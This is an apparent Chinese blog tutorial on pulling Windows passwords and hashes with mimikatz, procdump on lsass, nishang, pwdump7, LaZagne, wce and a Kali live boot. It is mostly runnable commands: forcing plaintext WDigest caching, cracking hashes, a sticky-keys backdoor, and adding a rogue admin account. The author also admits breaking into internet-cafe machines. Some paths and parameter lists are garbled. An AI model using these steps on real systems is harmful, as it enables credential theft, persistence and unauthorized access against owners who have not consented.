当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
Windows 常见抓取密码工具【总结】
0x01 前言
0x02 mimikatz_trunk工具抓取密码
0x02 mimikatz工具配合Procdump进行抓取密码
0x03 利用pwdump7获取密码
0x04 利用虚拟机文件获取密码
0x05 利用kali ISO获取密码
0x06 Quarks PwDump抓取用户密码
0x07 LaZagne本地抓取计算机密码
0x08 wce抓取密码
0x09 Getpass工具
我们已拿到管理员密码,那么怎么扩大战果?是不是可以尝试抓取主机的明文密码。
那么,既然我们可以抓到主机的密码,那么相应的厂商也会做出相应的应对措施,比如系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取;杀毒软件根据木马的的特征码直接杀死抓取面的工具,这时我们需要编写过杀毒软件的代码、修改注册表等等。
渗透测试往往就是矛与盾的较量,是矛更厉害,还是盾防的到位,其实就是在一瞬间的事情,细节决定成败,攻方需要了解防守方的策略;守护者需要明白攻方的套路。渗透测试路漫漫,唯独知识来充实自己。
下面介绍一下几款不错的抓取密码工具
工具下载:
binaires : https://github.com/gentilkiwi/mimikatz/releases/latest
baiduyun : http://pan.baidu.com/s/1i38m7Fv
操作步骤:
1. 首先用管理员账号运行cmd.exe,这样才能让mimikatz正常运行
2. 紧接着再进入mimikatz,运行命令
privilege::debug
sekurlsa::logonpasswords
mimikatz # privilege::debug //手动输入privilege::debug Privilege '20' OK mimikatz # sekurlsa::logonpasswords //手动输入sekurlsa::logonpasswords Authentication Id : 0 ; 515764 (00000000:0007deb4) Session : Interactive from 2 User Name : administrator //这个是管理员的账户 Domain : vm-w7-ult-x SID : S-1-5-21-1982681256-1210654043-1600862990-1000 msv : [00000003] Primary * Username : win-201509101320 * Domain : vm-w7-ult-x * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : win-201509101320 //这个是主机名称 * Domain : vm-w7-ult-x * Password : 666666 //这个是电脑密码
3. 此时我们就能得到username,password的密文,给大家推荐个破解密码的地方https://www.somd5.com/ 、https://www.cmd5.com/ 、www.objectif-securite.ch 、,这里可以很容易的解密大多数密文
注意:
需要说明一下,当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,此时可以通过修改注册表的方式抓取明文,但需要用户重新登录后才能成功抓取。
(1)、抓取到的密码为空
我们可以通过修改注册表来绕过这个,需要用户重新登录后才能成功抓取。修改注册表的命令:
reg add hklmSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
(2)、我们运行完毕后,当用户再次登录服务器,我们重新加载mimikatz,就能获取到用户的密码:
当我们不需要存储明文密码的时候,我们可以将上述命令中的REG_DWORD的值修改为0即可。
4、我们还可以利用mimikatz在线导出sam的Hash:
分别执行命令:
log res.txt
privilege::debug
token::elevate
lsadump::sam
首先我们先用procdum这款工具下载lsass进程的内存,这个工具一般不会被AV查杀的,这款工具也分为32位和64位两个版本:
(1)、执行下载lsass进程内存的命令>procdump64.exe -accepteula -ma lsass.exe ,执行完毕后,在当前目录下会生成一个lsass---.dmp的文件,这个文件是我们需要的文件:
(2)、将这个文件放在mimikatz目录下,然后启动mimikatz.exe,执行sekurlsa::minidump lsass.exe_190310_001506.dmp:
(3)、 执行读取密码的命令:sekurlsa::tspkg:
5、nishang抓取主机密码:
Nishang是一款针对PowerShell的渗透工具,除了可以抓取密码还可以进行端口扫描、提权、密码爆破等功能,这款工具依赖系统权限(有点小瑕疵),今天只是说一下抓密码的功能:
https://github.com/samratashok/nishang
Posershell既然是一个框架,那我们需要将nishang导入到这个框架当中,运行脚本需要一定的权限,powershell默认的执行策略是Restricted,这个Restricted是不允许运行任何脚本的。你在PowerShell执行Get-ExecutionPolicy命令来查看默认的策略组:
我们需要修改策略组,在PowerShell下执行Set-ExecutionPolicy remotesigned,将策略值改为remotesigned,这样我们就可以运行脚本:
首先需要下载的nishang,然后执行导入的操作,Import-Module .nishangnishang.psm1,首次导入会产生警告的提示,这样我们不用去理会,再次执行导入命令就可以:
接下来我们试一下抓取用户的hash值,执行Get-PassHashes,成功获取用户的hash值:
执行抓取用户的明文密码:
(1) powershell –exec bypass –Command "& {Import-Module'C:WindowsSystem32WindowsPowerShellv1.0nishangGatherInvoke-Mimikatz.ps1';Invoke-Mimikatz}"
Pwdump 7是一个免费的Windows实用程序,它能够提取出Windows系统中的口令,并存储在指定的文件中。Pwdump7是Pwdump3e的改进版,该程序能够从Windows目标中提取出NTLM和LanMan口令散列值,而不管是否启用了Syskey(这是一个Windows账户数据库加密工具,是Windows下的一条命令)。
这款工具使用比较方便,直接在dos命令中执行pwdump7.exe,就可以直接抓取密码,如.不愿意输出到桌面,可以执行pwdump7.exe > hash.txt。
1. 直接用管理员运行cmd,再运行pwdump7.exe
2. 用hashcat直接跑NTLM密码
hashcat -m 1000 AFC44EE7351D61D00698796DA06B1EBF /usr/share/wordlists/sqlmap.txt --force
关于如何用工具直接获取密码就介绍到这里,其实还不止以上这些工具可以帮助我们达到目的,例如:PowerMemory、quarks pwdump 等都是不错的工具,不过我觉得以上介绍的已经足够大家使用,贪多嚼不烂,下面我将介绍其它不同于上述的方法获取hash密码!
接下来我们将获取Windows 7虚拟机中的账号密码,首先需要将虚拟机挂起,这样才能产生 *.vmss 和 *.vmem 文件!这两个文件主要是用来获取内存数据的,如果用其它工具能够获取内存数据的话完全可以不用这两个文件,例如:Memoryze 、DumpIt
1. 运行Vmss2core解析虚拟机文件,生成memory.dmp文件
./vmss2core-mac64 -W /Users/apple1/Documents/Virtual\ Machines.localized/Windows\ 7\ x64.vmwarevm/Windows\ 7\ x64-89925192.vmss /Users/apple1/Documents/Virtual\ Machines.localized/Windows\ 7\ x64.vmwarevm/Windows\ 7\ x64-89925192.vmem
2. 利用大神级取证工具volatility获取SYSTEM和SAM的虚拟地址,--profile=Win7SP1x64 架构一定要指定正确,不然会找不到地址
./volatility_2.6_mac64_standalone/volatility_2.6_mac64_standalone hivelist -f memory.dmp --profile=Win7SP1x64
3. 接下来要做的就是获取对应地址的数据了,记住sys-offset和sam-offset指定的都是虚拟地址,别乱指什么物理地址,可以看到我这里有两个用户账号,它们的NTML hash都被我拿到了,随便找点工具解密就行了,上面也讲过hashcat解密!
./volatility_2.6_mac64_standalone/volatility_2.6_mac64_standalone hashdump -f memory.dmp --profile=Win7SP1x64 sys-offset=0xfffff8a000024010 sam-offset=0xfffff8a000b33010
这是笔者最喜欢使用的方法,也是最早掌握的方法,说个题外话:当初我还利用这个方法在网吧免费上网,甚至因为网吧的局域网win7环境我还拿到几台肉鸡shell,不过就是玩玩没干坏事。
在开始之前我们应该先准备一个USB启动盘,不过我现在只是为了演示一下效果就直接使用VM虚拟机插入ISO文件模拟USB启动盘。
实验步骤:
1. 首先将kali ISO镜像文件映射到win10虚拟机中(如果你是用USB启动盘插入物理机的话需要先进入BIOS引导界面,然后修改启动顺序,将USB放到硬盘之前 )
2. 然后启动win10就会进入kali的引导界面,我们点击Live (amd 64) 即可
3. 进入kali之后,先查看win10在哪个硬盘(一般就是size最大的那个盘),然后将其挂载到 /mnt 目录下,之后对/mnt目录下的操作就相当于对win10进行操作了
fdisk -l && mount /dev/sda2 /mnt && cd /mnt/
4. 挂载完之后我们先盗取账号密码【Win10果然更安全了,居然显示是空密码,这显然不是我们要的结果,第二张图附上Win7的效果图】
cd /mnt/Windows/System32/config/ && samdump2 SYSTEM SAM
hashcat -m 1000 afc44ee7351d61d00698796da06b1ebf /usr/share/wordlists/sqlmap.txt --force
5. 虽然win10密码安全性加强了,但并不阻碍我们进行别的操作,下面我们使用经典的shift提权技术来完成进一步操作
cd /mnt/Windows/System32/
cp cmd.exe sethc.exe
6. OK 现在需要做的就是关闭kali ,将映射到win10的ISO移除,然后启动win10,可以看到登录界面,此时我们连续快速的多次按shift键就能弹出命令行
7. 我们的权限这么大,想必添加个管理员账号什么的也不成问题,下面我添加个test管理员账号,然后登录,一进去就碰到win10给我各种Hi,看得我一脸懵逼
net user test test /add
net localgroup administrators /add test
logoff
8. 刚才我们没能抓到win10的hash,但是如果我们仍然想登录times0ng账号的话可以先用命令行修改密码,然后再登陆。
net user time0sng toor
Quarks PwDump 是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker。
(1)、QuarksPwDump.exe参数说明:
• dhl 导出本地哈希值
• dhdc导出内存中的域控哈希值
• dhd 导出域控哈希值,必须指定NTDS文件
• db 导出Bitlocker信息,必须指定NTDS文件
• nt 导出ntds文件
• hist 导出历史信息,可选项
• t 导出类型可选默认导出为John类型。
• o 导出文件到本地
(2)、执行抓取用户密码的命令quarksPwDump.exe --dump-hash-local -o hash.txt,我们将抓取到的本地用户的密码保存到本地目录下的hash.txt中,保存的位置以及文件名自己可以设置:
LaZagne是一款用于检索大量存储在本地计算机密码的开源应用程序。该工具通过python开发,易读、易维护,依赖的python2版本,这款工具不仅能抓取胡勇密码,还可以抓取浏览器中的缓存的密码、SVN密码、wifi密码、邮箱密码等功能,这款工具不经适用于windows,也可以适用于Linux、MAC,这里只是演示一
下windows下抓取本地的用户密码:
先看一下这款工具的参数:
测试一下抓取本地用户密码:
执行命令:lazagne.exe windows,成功获取到用户密码:
如果详细了解这款工具,可以参考一下这篇文章,本小白觉得写的还不错,挺详细的,附链接
http://link.zhihu.com/?target=https%3A//www.4hou.com/tools/7404.html
这款工具是一款Hash注入神器,不仅可以用于Hash注入,也可以直接获取明文或Hash。这款工具也分为32位和64位两个不同的版本:
先来看一下这款工具的参数详解:
参数解释:
• l 列出登录的会话和NTLM凭据(默认值);
• s 修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:
: ; • r 不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次;
• c 用一个特殊的NTML凭据运行一个新的会话 参数:
; • e 不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次;
• o 保存所有的输出到一个文件 参数:<文件名>;
• i 指定一个LUID代替使用当前登录会话 参数:
。 • d 从登录会话中删除NTLM凭据 参数:
; • a 使用地址 参数: <地址>;
• f 强制使用安全模式
• g 生成LM和NT的哈希 参数<密码>
• f 强制使用安全模式;希 参数<密码>;(unix和windows wce格式);;;
• k 从一个文件中读取kerberos票据并插入到windows缓存中
• k 从一个文件中读取kerberos票据并插入到windows缓存中;
• v 详细输出;
(2)、抓取用户的明文密码:
执行命令:Wce.exe -w
(3)、抓取hash值:
执行命令wce.exe -l
如果不想把抓取的密码或者hash值显示在dos界面上,也可以保存在txt文档中,比如:wce.exe -w > hash.txt
这款工具由闪电小子根据mimikatz编译的一个工具,双击运行或者在cmd运行可以直接获取明文密码,有的时候需要自己做免杀处理。
PS: 利用注册表来离线读取hsah、SqlDumper +配合mimikatz来读取用户密码等工具,大家可以自己去了解哈,我这里没写。
参考链接:
http://www.sohu.com/a/300983667_658302
https://blog.csdn.net/qq_37590563/article/details/80076865
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重